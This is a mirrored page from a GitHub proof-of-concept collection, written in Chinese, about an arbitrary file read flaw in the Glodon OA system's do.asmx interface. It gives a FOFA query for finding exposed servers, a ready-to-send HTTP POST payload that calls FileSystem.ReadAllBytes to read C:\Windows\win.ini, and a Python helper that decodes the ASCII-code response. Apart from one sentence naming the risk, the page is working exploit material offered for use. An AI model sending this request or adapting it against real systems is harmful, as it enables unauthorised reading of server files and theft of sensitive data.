mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 03:17:07 +00:00
62 lines
2.1 KiB
Markdown
62 lines
2.1 KiB
Markdown
# 广联达OA系统接口do.asmx存在任意文件读取漏洞
|
||
|
||
广联达OA系统接口` /m/mobileAction.ashx/do.asmx`存在任意文件读取漏洞，可能导致敏感信息泄露、数据盗窃及其他安全风险，从而对系统和用户造成严重危害。
|
||
|
||
## fofa
|
||
|
||
```javascript
|
||
body="Services/Identification/login.ashx" || header="Services/Identification/login.ashx" || banner="Services/Identification/login.ashx"
|
||
```
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
POST /m/mobileAction.ashx/do.asmx?controller=Microsoft.VisualBasic.FileIO.FileSystem%2c%20Microsoft.VisualBasic%2c%20Version%3d8.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db03f5f7f11d50a3a&action=ReadAllBytes HTTP/1.1
|
||
Host:
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
|
||
Accept-Encoding: gzip, deflate, br
|
||
Accept: */*
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Content-Type: application/json
|
||
Connection: close
|
||
|
||
["\"C:\\\\Windows\\\\win.ini\""]
|
||
```
|
||
|
||
|
||
|
||
### 解密脚本
|
||
|
||
```python
|
||
def ascii_to_char(ascii_codes):
|
||
"""将ASCII码列表转换为字符"""
|
||
return ''.join(chr(code) for code in ascii_codes)
|
||
|
||
def char_to_ascii(char):
|
||
"""将字符串转换为ASCII码列表"""
|
||
return [ord(c) for c in char]
|
||
|
||
def main():
|
||
print("0 字符转ASCII码")
|
||
print("1 ASCII码转字符")
|
||
choice = input("请选择转换类型（0/1）: ")
|
||
|
||
if choice == '0':
|
||
# 字符转ASCII码
|
||
chars = input("请输入要转换的字符: ")
|
||
ascii_codes = char_to_ascii(chars)
|
||
print("字符转ASCII码:", ascii_codes)
|
||
elif choice == '1':
|
||
# ASCII码转字符
|
||
ascii_codes_str = input("请输入以逗号分隔的ASCII码（例如：65,66,67）: ")
|
||
ascii_codes = [int(code.strip()) for code in ascii_codes_str.split(',')]
|
||
converted_chars = ascii_to_char(ascii_codes)
|
||
print("ASCII码转字符:", converted_chars)
|
||
else:
|
||
print("无效的输入，请输入0或1。")
|
||
|
||
if __name__ == "__main__":
|
||
main()
|
||
```
|
||
|